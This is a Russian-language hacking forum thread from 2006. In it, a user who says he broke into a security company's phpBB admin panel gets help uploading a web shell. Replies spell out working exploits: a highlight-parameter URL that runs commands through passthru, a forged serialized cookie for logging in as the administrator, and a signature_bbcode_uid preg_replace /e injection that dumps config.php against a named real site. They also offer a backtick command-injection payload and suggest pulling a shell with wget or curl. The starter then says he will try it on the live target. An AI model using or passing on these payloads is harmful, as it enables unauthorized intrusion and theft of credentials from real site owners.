Форумы Взлом. Способы заливки шелла в phpBB.

Discussion in 'Уязвимости CMS/форумов' started by MacTep, 12 Jun 2006.

Thread Status:
Not open for further replies.
  1. MacTep

    MacTep Elder - Старейшина

    Joined:
    29 May 2006
    Messages:
    317
    Likes Received:
    160
    Reputations:
    35
    Искал я в гуглике форумы phpBB.. наткнулся на форум компании предоставления программного обеспечения для Защиты Информации. Форум у них phpBB 2.0.3.. Грех не ломануть...

    Короче, в админку я пролез секунд через 40, но вот с шеллом запар.. Заливаю, вроде все норм. Запускаю ls -la, там залилась какая-то новая страница pagestart.php, я pwd смотрю дирикторию - папка admin. Захожу на эту левую pagestart, а там надпись что-то типа "Hack attempted".. Но шелла нигде нет...
    Что произошло? Где шелл? Просвятите, плз..
     
  2. qBiN

    qBiN Вот такой вот я :(

    Joined:
    20 Jan 2005
    Messages:
    834
    Likes Received:
    73
    Reputations:
    33
    Зачем тебе что-то заливать.google: phpbb <=2.0.10 highlight
    выполнение комманд сразу.
     
  3. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    мне известно лишь 4 способа залития шелла в phpbb
    1) через стили
    2) через БД
    3) через профайл (любого юзера)
    4) через профайл и бд.

    все сплойты есть на rst.void.ru
    подправишь их, и они будут пахать
     
  4. MacTep

    MacTep Elder - Старейшина

    Joined:
    29 May 2006
    Messages:
    317
    Likes Received:
    160
    Reputations:
    35
    я через стили лез..
     
  5. lexa

    lexa Elder - Старейшина

    Joined:
    14 Jan 2005
    Messages:
    75
    Likes Received:
    11
    Reputations:
    -2
    после этого уже не разговор ! просто проделай как посоветовали !
     
  6. MacTep

    MacTep Elder - Старейшина

    Joined:
    29 May 2006
    Messages:
    317
    Likes Received:
    160
    Reputations:
    35
    Я сильно туплю, но чем его запускать? скачал компиль php, не фурычит..
     
  7. Tem

    Tem -

    Joined:
    5 Oct 2005
    Messages:
    557
    Likes Received:
    157
    Reputations:
    179
    Вроде же эксплоит написан в пёрле а не на пхп, зачем тебе компил пхп? лутши актив пёрл скачай, установи, потом комндную строку.
     
  8. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    мда, это ж каким терпением и выдержкой надо обладать чтобы модерить в разделе форумов. кошмар, слава всевышнему, что меня сняли.

    компилы php,perl
    мда.
    Народ вы бы хотя бы думали о чом пишете, а то услышал звон хз где он.

    вот сплойт
    http://site.ru/forum/viewtopic.php?t=7&cmd=ls&highlight='.passthru($HTTP_GET_VARS[cmd]).'


    если ты спросишь, как его скомпилить, минусами закидаю
     
  9. MacTep

    MacTep Elder - Старейшина

    Joined:
    29 May 2006
    Messages:
    317
    Likes Received:
    160
    Reputations:
    35
    Сорри, я просто нашел какую-то ботву на php.. вопросов больше не имею..
     
  10. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,363
    Likes Received:
    1,192
    Reputations:
    430
    Вот вырезка из Хакера(87), прочитай, может поможет...
    www.systemfond.ru/forum/viewtopic.php?p=873&highlight=%27

    Ничего не получается, форум не выдает никакой ошибки, значит, будем использовать более новую уязвимость всех версий форума phpBB<=2.0.17 — связки php-функции preg_replace() и переменной signature_bbcode_uid (м-да, с регулярными выражениями у авторов phpBB беда, учите паттерны!). Итак, пробуем регистрироваться… Неудача! Активация пользователей на форуме осуществляется самими администраторами. Вспоминаем про еще одну уязвимость форума — возможность входа под любым пользователем через багу в кукисах. Нам нужен аккаунт админа, значит, идем в браузер Опера, в меню Сервис->Дополнительно->Управление cookies (если ты сидишь не в Опере, то поищи на nsd.ru (или на www.xakep.ru) проги для редактирования оных), ищем там www.systemfond.ru, удаляем содержимое переменной iconboard_sid (да-да, так админы назвали кукисы, думали, что это чем-то поможет, наивные), а в iconboard_data вставляем следующее значение:

    a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D

    Поясню, с помощью этой строки мы залогинимся под пользователем с id=2, так как в скрипте, отвечающем за вход, недостаточно проверяется соответствие типов переменных. Если вдруг тебе понадобится другой пользователь, то ты легко можешь вставить любой id в это значение здесь: 3A%22[id]%22%3B%7D

    [берем от админа все]

    Перезагружаем страницу (так, чтобы в ее параметрах не было sid, так как с любым существующим значением sid ничего не получится), в итоге оказываемся залогиненными под администратором [ Kudesnik ]. Итак, идем в редактирование профиля нашего админа :). Сохраняем страницу себе на хард, в html-коде находим

    <form action="profile.php" method="post">

    и меняем на

    <form action=www.systemfond.ru/forum/profile.php?signature_bbcode_uid=(.*)/e%00 method="post">

    Загружаем полученную страницу и в поле подписи вставляем

    [b:file_get_contents($_GET[bb])

    В это место можно, естественно, вставить любой php-код, в том числе и system() -после "[b:". Но сейчас нам нужна именно функция получения содержимого файла. Нажимаем «Отправить» и идем по ссылке www.systemfond.ru/forum/profile.php?mode=editprofile&bb=config.php. В поле подписи нам открылось содержание config.php,
     
    1 person likes this.
  11. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    для этого способа права админа не нужны
     
  12. DimaHbl4

    DimaHbl4 Elder - Старейшина

    Joined:
    9 May 2006
    Messages:
    234
    Likes Received:
    27
    Reputations:
    11
    С этим способом аккуратней надо быть..... Можно убить profile.php.
    И потом некогда уже профиль не поменяешь......
    И не зайдешь туда!
     
  13. Cold_Zer0

    Cold_Zer0 New Member

    Joined:
    8 Jun 2006
    Messages:
    9
    Likes Received:
    2
    Reputations:
    0
    МасТер ты на самом деле послушай чё тебе говорят, залезь через уязвимость в highlight, если как у k1borga не получиться то попробуй вот так:
    highlight=%2527.$poster=%60здесь команда любая%60.%2527(чесно говоря такого рода форум последний раз ломал давно, может чё не правильно, а если интересно на seclub всё выложено)А там может и через wget, curl или через чё ещё шел зальёшь!
     
  14. MacTep

    MacTep Elder - Старейшина

    Joined:
    29 May 2006
    Messages:
    317
    Likes Received:
    160
    Reputations:
    35
    через highlight k1borg`а не вышло.. тут ошибки.. Поищу на секлабе..
     
  15. DimaHbl4

    DimaHbl4 Elder - Старейшина

    Joined:
    9 May 2006
    Messages:
    234
    Likes Received:
    27
    Reputations:
    11
    MacTep
    Тебе же Dr.Check запостил как через подпись делать.
     
  16. MacTep

    MacTep Elder - Старейшина

    Joined:
    29 May 2006
    Messages:
    317
    Likes Received:
    160
    Reputations:
    35
    Угу.. на пробном форе(собственном) сработало. Пошел в жизнь реализовывать...
     
  17. qBiN

    qBiN Вот такой вот я :(

    Joined:
    20 Jan 2005
    Messages:
    834
    Likes Received:
    73
    Reputations:
    33
    Пхп интерпритируемый язык...
    Остальное не осилил тема закрыта.Если есть возражения в пм.Есть жалобы в книгу жалоб и предложений.
     
Thread Status:
Not open for further replies.